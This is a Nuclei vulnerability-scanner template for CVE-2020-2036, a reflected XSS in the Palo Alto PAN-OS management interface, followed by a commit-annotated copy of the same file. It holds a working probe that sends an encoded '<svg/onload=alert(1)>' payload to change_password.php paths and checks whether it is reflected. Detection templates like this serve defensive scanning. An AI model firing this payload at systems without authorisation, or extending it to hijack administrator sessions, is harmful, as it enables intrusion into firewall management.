nuclei-templates/cves/2020/CVE-2020-2036.yaml

id: CVE-2020-2036
info:
  name: Palo Alto Networks Reflected XSS
  author: madrobot
  severity: medium
  description: >
    A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  reference: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
  tags: cve,cve2020,vpn,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"
      - "{{BaseURL}}/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<svg/onload=alert(1)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`id: CVE-2020-2036`
			`info:`
misc changes 2021-02-15 19:05:52 +00:00			`name: Palo Alto Networks Reflected XSS`
Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`author: madrobot`
			`severity: medium`
Add description 2021-03-10 11:22:37 +00:00			`description: >`
			A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`reference: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/`
misc changes 2021-02-15 19:05:52 +00:00			`tags: cve,cve2020,vpn,xss`

Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`requests:`
			`- method: GET`
			`path:`
Update CVE-2020-2036.yaml 2021-02-14 20:01:58 +00:00			`- "{{BaseURL}}/unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"`
			`- "{{BaseURL}}/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"`
misc changes 2021-02-15 19:05:52 +00:00
Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
misc changes 2021-02-15 19:05:52 +00:00
Create CVE-2020-2036.yaml 2021-02-14 20:00:21 +00:00			`- type: word`
			`words:`
			`- "<svg/onload=alert(1)>"`
			`part: body`
misc changes 2021-02-15 19:05:52 +00:00
			`- type: word`
			`words:`
			`- "text/html"`
			`part: header`